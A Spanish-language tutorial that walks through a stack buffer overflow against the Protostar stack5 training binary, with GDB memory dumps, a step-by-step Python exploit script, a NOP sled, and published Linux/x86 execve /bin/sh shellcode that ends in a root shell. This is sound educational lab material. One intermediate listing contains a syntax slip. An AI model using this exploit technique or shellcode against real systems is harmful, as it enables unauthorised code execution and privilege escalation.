Hacking de Software: Manipulando la ejecución de código con el puntero de instrucción (PC/IP)

Stack overflow

Una de las capacidades más significativas que diferencian a un novato (o algunos otros como los script kiddies) de un profesional en seguridad informática, es la capacidad de crear sus propios programas/scripts para resolver un problema determinado, es allí donde se nota esa enorme diferencia de nivel. Mientras que unos (aclaro, no estoy diciendo que ser novato sea malo, todos fuimos novatos en algún momento y es el inicio de todo, pero es allí donde elijes si pertenecer al grupo de los script kiddies o al de los profesionales) usan las herramientas de terceros, sin tener idea de como funcionan, los otros conocen el funcionamiento de las mismas cuando las usan o crean sus propias herramientas. Con ese fin, vamos a ver cómo una vulnerabilidad de desbordamiento de pila (buffer overflow) nos permite inundar (hacer flood) una variable con suficiente información para sobrescribir el puntero de instrucción con nuestro propio código.

· Comprendiendo la estructura de un programa

Antes de que podamos entender cómo explotar un programa, debemos tener una comprensión general del programa en sí. Cuando ejecuta por primera vez un programa, toda la información que el programa necesita para ejecutar se carga en la memoria RAM de la computadora. Una vez que un programa se carga en esta memoria para ejecutarse, tiene cinco partes:

  • Texto: aquí es donde está el código del programa.
  • Datos inicializados: Aquí es donde se almacenan las variables globales que se han declarado y se les ha dado un valor.
  • Datos no inicializados/BSS: Aquí es donde se almacenan las variables globales que se han declarado pero no se les ha dado un valor.
  • Pila (stack): la pila realiza un seguimiento de la ejecución del programa y almacena las variables locales. Hablaremos sobre la pila más adelante.
  • Heap: el heap es donde se lleva a cabo la asignación de memoria dinámica. Un programador puede utilizar el heap para almacenar variables que solo son necesarias durante un corto período de tiempo y, por lo tanto, se pueden eliminar de la memoria más adelante para optimizar el programa.

Estructura de programa

Comprender la pila

Como veremos una vulnerabilidad de desbordamiento de pila (buffer overflow), tiene sentido tomarse un tiempo para comprender la pila. Como se mencioné anteriormente, la pila realiza un seguimiento de la ejecución del programa. Específicamente, la pila realiza un seguimiento de qué función se está ejecutando y las variables locales que se definen dentro de esa función.

Cuando se llama a una función, se crea una estructura de datos llamada marco de pila. Cada función tiene su propio marco de pila que contiene las variables locales para esa función, los parámetros pasados ​​a la función cuando se llamó y, lo que es más importante, una dirección de retorno que especifica qué instrucción debe ejecutar el programa una vez que se realiza la función.

Stack

Cada vez que se llama a una nueva función, se agrega un nuevo marco de pila en la parte superior de la pila. Del mismo modo, cada vez que una función termina la ejecución, se elimina de la pila. Esta organización da como resultado lo que se conoce como una estructura de datos LIFO. LIFO significa "último en entrar, primero en salir", lo que significa que el último marco de pila agregado a la pila es el primero que se eliminará.

Con nuestro exploit de desbordamiento de pila, nos preocupa más trabajar dentro del alcance de un único marco de pila. Nuestro objetivo es desbordar una variable local en la dirección de retorno de un marco de pila para que podamos redirigir la ejecución del código.

Comencemos.

· Explotando Stack5 en la máquina virtual Protostar

Para nuestro ejemplo de hoy, vamos a ver el nivel de stack5 de la máquina virtual Protostar que usamos en nuestro último artículo de desarrollo de exploits: Desarrollo de exploits: Explotación binaria con Protostar

Échemos un vistazo al código fuente del programa stack5:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Como podemos ver, este es un programa extremadamente básico. Vemos una variable local creada en la línea 8, una cadena de caracteres llamada "buffer" a la que se le asignan 64 bytes de memoria. La única otra cosa emocionante sucede en la línea 10 cuando el programa pasa la entrada del usuario sin restricciones a esa variable. Esto significa que, aunque se asignan 64 bytes de memoria en el marco de la pila para la variable "buffer", no hay nada que nos impida pasar más de 64 bytes en la variable. Veamos qué pasaría si tuviéramos que hacer esto.

· Diseñando nuestro exploit

Al igual que en el último tutorial, Protostar no nos permitirá escribir ninguna información en el mismo directorio que el programa stack5, por lo que debemos movernos a un directorio donde podamos escribir un nuevo archivo. Para hacer esto, simplemente escriba el comando cd.

Esto cambiará su directorio al directorio de inicio del usuario. Una vez hecho esto, creemos un nuevo programa de Python escribiendo el siguiente comando (si tiene el archivo exploit.py del último tutorial, cámbiele el nombre o elimínelo):

vim exploit.py

Le añadimos el siguiente contenido:

#!/usr/bin/env python
import struct, os
payload = "S" * 64 #La S de Security Hack Labs
os.system("echo " + payload + " > payload.txt")
os.system("/opt/protostar/bin/stack5 < payload.txt")

Explicaré lo que estamos haciendo.

La primera línea le dice al shell bash que estamos escribiendo un programa que se ejecutará con el intérprete de Python. La línea importa paquetes que necesitaremos mientras creamos nuestro exploit. El paquete struct nos dará una forma fácil de empaquetar nuestra dirección de retorno en nuestro payload, mientras que el paquete os nos permitirá ejecutar algunos comandos de shell para iniciar el exploit. La línea 3 contiene el desbordamiento de pila en sí, mientras que las líneas 4 y 5 escriben esa carga útil en un archivo y ejecutan el programa stack5 con esa carga como la entrada del usuario.

Ahora que tenemos nuestro marco, sigamos adelante y guardemos el programa. Podemos otorgarle al programa permisos de ejecución escribiendo chmod +x exploit.py

 Esto nos permitirá ejecutar el programa, así que hagámoslo escribiendo:

./exploit.py

No verá nada demasiado emocionante en este punto. El programa que acabamos de escribir habrá creado un nuevo archivo llamado payload.txt que contiene 64 S's. Vamos a usar este archivo para ver lo que sucede realmente detrás de la ejecución del programa.

· Investigando el programa con GDB

Lo siguiente que debemos hacer es activar GDB, el depurador de GNU, para poder avanzar en la ejecución del programa. Podemos iniciar GDB escribiendo lo siguiente en una ventana de terminal.

gdb /opt/protostar/bin/stack5

GDB

Lo primero que queremos hacer en GDB es establecer un punto de interrupción. Mirando el código original para el programa, probablemente deberíamos establecer un punto de corte en la línea 11. No queremos romper antes de que el programa acepte la entrada del usuario, porque entonces no podemos ver la entrada dentro del programa. Dado que el programa acepta la entrada en la línea 10, tiene sentido romper inmediatamente después de que se haya aceptado esta entrada. Para establecer un punto de interrupción, tecleamos el siguiente comando.

break 11

Ahora estamos listos para ejecutar el programa. Sin embargo, queremos asegurarnos de que el contenido del archivo payload.txt que hicimos anteriormente se haya pasado correctamente como entrada del usuario. Para hacer esto, vamos a escribir lo siguiente.

run < payload.txt

Esto le dice a GDB que queremos ejecutar el programa y usar los contenidos de payload.txt como entrada. Una vez hecho esto, deberíamos llegar al punto de interrupción en la línea 11 como tal:

GDB

Ahora podemos comenzar a revisar en la memoria. El puntero de pila apuntará al inicio del marco de pila para la función principal, por lo que para examinar el marco de pila (en el artículo pasado vimos que era $esp), todo lo que tenemos que hacer es escribir el comando a continuación.

x/32x $esp

Revisemos lo que este comando realmente dice primero. La primera x es la abreviatura de "examine". Este comando nos permite examinar la memoria, por lo que el nombre es apropiado. El /32 especifica que queremos examinar los siguientes 32 segmentos de cuatro bytes. La x final al final le dice a GDB que queremos ver esta sección de la memoria en formato hexadecimal.

También podríamos haber especificado una s (string) o i (integer) para ver la memoria como una cadena o un entero, pero eso no tendría mucho sentido. El formato hexadecimal es, de lejos, el formato más útil para ver grandes fragmentos de memoria.

Finalmente, $esp se refiere a la dirección del puntero de pila, que apunta al comienzo del marco de pila actual.

Echemos un vistazo a la salida que obtenemos de este comando.

(gdb) x/32x $esp
0xbffff770:	0xbffff780	0xb7ec6165	0xbffff788	0xb7eada75
0xbffff780:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff790:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7a0:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7b0:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7c0:	0x08048300	0x00000000	0xbffff848	0xb7eadc76
0xbffff7d0:	0x00000001	0xbffff874	0xbffff87c	0xb7fe1848
0xbffff7e0:	0xbffff830	0xffffffff	0xb7ffeff4	0x08048232
(gdb) 

El patrón más notable en este pedazo de memoria es la gran cantidad de 53 que se encuentran en el marco de la pila. Estos son las 64 S's escribimos en el payload.

A partir de esto, podemos ver desde dónde partimos en la memoria, pero ¿a dónde exactamente estamos tratando de llegar? La respuesta es el puntero de instrucción o EIP.

El EIP especifica en qué dirección de memoria se encuentra la próxima instrucción. Si podemos sobrescribir esta dirección con la dirección de las instrucciones que escribimos, podemos secuestrar completamente la ejecución del programa. Entonces, ¿cómo encontramos la ubicación de EIP? Es sencillo. Para encontrar la ubicación de EIP vamos a escribir lo siguiente.

info frame

Esto nos dará toda la información que es pertinente para el marco de pila actual. La salida se verá algo así como la imagen de abajo:

Frame

Podemos ver que la salida del comando incluye una línea que dice "eip at 0xbffff7cc". Esta es la dirección del EIP, y cae dentro de la ventana de memoria que estábamos viendo antes. Al usar el comando x para examinar esa pieza de memoria, podemos identificar los contenidos en esa dirección y ubicar la misma pieza de memoria en la ventana de memoria que estábamos viendo antes. La dirección del EIP se ha resaltado en rojo, y el EIP mismo se ha resaltado en azul.

Ahora sabemos dónde estamos comenzando y hacia dónde estamos tratando de llegar, así que expandamos nuestra carga en el EIP y veamos qué pasa. Para hacer esto, vamos a tener que salir de GDB y modificar nuestro código de explotación. Abra su exploit.py de nuevo en vim usando el mismo comando que antes para modificarlo.

#!/usr/bin/env python
import struct, os
payload = "S" * 80
os.system("echo " + payload + " > payload.txt")
os.system("/opt/protostar/bin/stack5 < payload.txt")

Como el último de nuestros 64 S's estaba a 12 bytes del inicio de la dirección EIP, vamos a agregar 16 bytes adicionales para desbordar toda la dirección. Cuando ejecutemos nuevamente el programa, el EIP se debe sobrescribir con "0x53535353". Veamos si funciona. Ejecutando el código de explotación nuevamente nos da el siguiente resultado:

[email protected]:~$ ./exploit.py 
Segmentation fault
[email protected]:~$

Vemos que obtenemos un error de "Segmentation fault" y nada podría ser más glorioso. En este caso, significa que sobrescribimos satisfactoriamente EIP. Vamos a ejecutar el programa nuevamente en GDB y echar un vistazo a la memoria una vez más:

[email protected]:~$ gdb /opt/protostar/bin/stack5
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) break 11
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) run < payload.txt
Starting program: /opt/protostar/bin/stack5 < payload.txt

Breakpoint 1, main (argc=0, argv=0xbffff874) at stack5/stack5.c:11
11	stack5/stack5.c: No such file or directory.
	in stack5/stack5.c
(gdb) x/32x $esp
0xbffff770:	0xbffff780	0xb7ec6165	0xbffff788	0xb7eada75
0xbffff780:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff790:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7a0:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7b0:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7c0:	0x53535353	0x53535353	0x53535353	0x53535353
0xbffff7d0:	0x00000000	0xbffff874	0xbffff87c	0xb7fe1848
0xbffff7e0:	0xbffff830	0xffffffff	0xb7ffeff4	0x08048232
(gdb) info frame
Stack level 0, frame at 0xbffff7d0:
 eip = 0x80483d9 in main (stack5/stack5.c:11); saved eip 0x53535353
 source language c.
 Arglist at 0xbffff7c8, args: argc=0, argv=0xbffff874
 Locals at 0xbffff7c8, Previous frame's sp is 0xbffff7d0
 Saved registers:
  ebp at 0xbffff7c8, eip at 0xbffff7cc
(gdb) x/x 0xbffff7cc
0xbffff7cc:	0x53535353
(gdb) 

Tal como sospechábamos, nuestro payload más largo sobrescribía la dirección EIP completa. Ahora cuando el programa intentó ejecutar la instrucción en la dirección contenida en EIP, no pudo. El programa intentó encontrar una instrucción en la dirección de memoria 0x53535353 que no existe. Esto creó la falla de segmentación que vimos.

· Inyectando Shellcode

Ahora que podemos redireccionar la ejecución del código, tenemos que decidir dónde queremos redirigir la ejecución del código. El programa es bastante básico y no ofrece ninguna funcionalidad que realmente quisiéramos manipular, por lo que tiene sentido que agreguemos nuestras propias instrucciones y las ejecutemos.

En este ejemplo, inyectaremos un código que nos devolverá un shell de comando. En teoría, nuestro exploit debería seguir este modelo:

Paso de las S's al programa -> Dirección del shellcode -> Shellcode

El relleno de S's nos lleva directamente al EIP, que sobrescribiremos con la dirección del shellcode que colocaremos directamente después de la nueva dirección en nuestro payload.

Sin embargo, hay un problema: en realidad no conocemos la dirección de memoria del shellcode. Si bien podemos conocer las direcciones de memoria que ocupa el marco de pila en GDB, estas direcciones cambian ligeramente cuando el programa se ejecuta solo. Tenemos que encontrar una manera de hacerlo.

Afortunadamente, hay una manera de hacer eso. Ingrese el NOP.

NOP significa "sin operación". Esencialmente, es una instrucción que le dice al programa que no haga nada y pase a la siguiente instrucción. Al usar una gran cantidad de instrucciones NOP, podemos redireccionar el puntero de instrucción a una dirección en algún lugar en medio de nuestras instrucciones NOP. Ahora, incluso si las direcciones de memoria son ligeramente más altas o más bajas que las que vimos en GDB, el puntero de instrucción seguirá aterrizando en un NOP y continuará por el "trineo" de las instrucciones NOP hasta que alcance el código de shell. El verdadero exploit se parecerá al ejemplo siguiente.

Paso de las S's al programa -> Dirección dentro de NOP Sled  -> 200 Instrucciones NOP -> Shellcode

· Escribiendo el Exploit Final

Vamos a traducir este concepto en un código real. Abrimos nuestro exploit.py y colocamos:

#!/usr/bin/env python
import struct, os
payload = "S" * 76
address = struct.pack("I",0xbffff7cc+100)
nopsled = "\x90"*200
shellcode = "\xcc"*4
payload = payload + address + nopsled shellcode
os.system("echo " + payload + " > payload.txt")
os.system("/opt/protostar/bin/stack5 < payload.txt")

 

En la línea 4, hemos reducido la carga de S's en cuatro para hacer espacio para la nueva dirección de retorno. En la línea 4, usamos la función struct.pack para generar la nueva dirección de retorno. 0xbffff7cc + 100 empaquetará la dirección 100 bytes más alta que la dirección 0xbffff7cc, que es la ubicación de EIP. Esta ubicación colocará el puntero de instrucción en el medio del NOP Sled, que creamos en la línea 5. "\x90" le dice a Python que ponga el valor hexadecimal de 90 en la cadena, que es la representación de una instrucción NOP. Tomamos esto y lo multiplicamos por 200 para obtener un gran camino de NOP's.

Una vez que construimos el relleno, la dirección de retorno y el camino NOP, es hora de agregar el código de shell. Antes de agregar el shellcode real, vamos a sustituir una serie de cuatro bytes, cada uno con el valor cc. Este valor es reconocido de manera única por el programa como un punto de interrupción. Al usar estos cuatro bytes, podemos probar para ver si el programa golpea correctamente el shellcode. Ahorremos el programa y ejecútelo. Deberíamos obtener el siguiente resultado:

[email protected]:~$ ./exploit.py 
Trace/breakpoint trap
[email protected]:~$ 

 

Efectivamente, recibimos un mensaje informándonos que llegamos a un punto de interrupción. ¡El programa ha sido explotado!

Ahora es el momento de hacer algo divertido con eso. Volviendo al código de explotación, podemos sustituir nuestro shellcode de marcador de posición por el real a continuación.

#!/usr/bin/env python
import struct, os
payload = "S" * 76
address = struct.pack("I",0xbffff7cc+100)
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = payload + address + nopsled + shellcode
os.system("echo " + payload + " > payload.txt")
os.system("/opt/protostar/bin/stack5 < payload.txt")

El shellcode proviene de Shell Storm, un gran sitio web que tiene cientos de piezas de shellcode para diferentes propósitos o arquitectura de procesador, es nuestro caso usamos:

    *****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *	  	  Author: Hamza Megahed		        *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

********************************
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

Una vez que lo copiemos y peguemos en nuestro programa, podremos guardar nuestro exploit y ver qué pasa cuando ejecutamos nuestro programa ahora.

[email protected]:~$ ./exploit.py 
[email protected]:~$ 

Bueno, eso fue ... decepcionante. ¿Qué salió mal? Sabemos que el exploit llega al shellcode, entonces, ¿por qué no se ejecutó?

Lo curioso es que el shellcode realmente se ejecutó. El problema estaba en la forma en que se llama al shell. En el momento en que se ejecutó shellcode, la entrada estándar en el programa ya estaba cerrada, y el shell acaba de salir. Necesitamos una manera de mantener eso abierto.

Afortunadamente, el comando cat puede ayudarnos. Para usarlo, escribamos lo siguiente:

(cat payload.txt; cat) | /opt/protostar/bin/stack5

Shell

¡Éxito! Finalmente tenemos un exploit que funciona. Antes de comenzar a celebrar, echemos un vistazo a por qué esto funciona. El primer pedazo de nuestro comando es lo que vemos a continuación.

(cat payload.txt; cat)

La primera parte debe tener sentido. Escribir "cat payload.txt " simplemente imprimiría el contenido de payload.txt en la pantalla. La magia de este comando viene con la segunda llamada al comando cat. Cuando llame al comando cat sin ningún parámetro, el programa abrirá de manera predeterminada un mensaje en el que imprimirá cualquier entrada que escriba. Esto significa que la entrada estándar se redirige a la salida estándar. Llamando esto después de imprimir el contenido de payload.txt , mantenemos abierta esa entrada estándar. Examinemos la segunda parte del comando a continuación.

| /opt/protostar/bin/stack5

El | representa el comando de tubería. Esto nos permite conectar el flujo de salida del primer fragmento de nuestro comando al programa stack5. De esta forma, pasamos el exploit como entrada y mantenemos abierta la entrada y salida estándar con el comando cat para que podamos mantener el shell activo.

 

· Toques finales

El objetivo de escribir un exploit es hacer un único programa que podamos ejecutar para obtener un shell. No deberíamos tener que escribir comandos adicionales si podemos evitarlo. Esto se puede hacer reemplazando la última línea de nuestro código de explotación.

#!/usr/bin/env python
import struct, os
payload = "S" * 76
address = struct.pack("I",0xbffff7cc+100)
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = payload + address + nopsled + shellcode
os.system("echo " + payload + " > payload.txt")
os.system("(cat payload.txt; cat) | /opt/protostar/bin/stack5")

En lugar de usar la función os.system para ejecutar stack5 y pasar la carga útil como entrada, usamos el nuevo comando que acabamos de ver para mantener abierta la corriente de Entrada/Salida estándar. Ahora cuando ejecutamos el programa, obtendremos un shell root cada vez.

Como una especie de tarea, recomiendo volver al nivel 4 (stack4) e intentar escribir tu propio exploit. Ese nivel es un poco más simple que el que traté aquí, pero usa muchos de los mismos conceptos. A partir de ahí, ser capaz de conquistar los últimos dos niveles de stack* consolidará tu conocimiento de la explotación de desbordamiento de pila o buffer overflow.

Síguenos en FacebookTwitterunete a nuestra charla en Riotúnete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP: [email protected]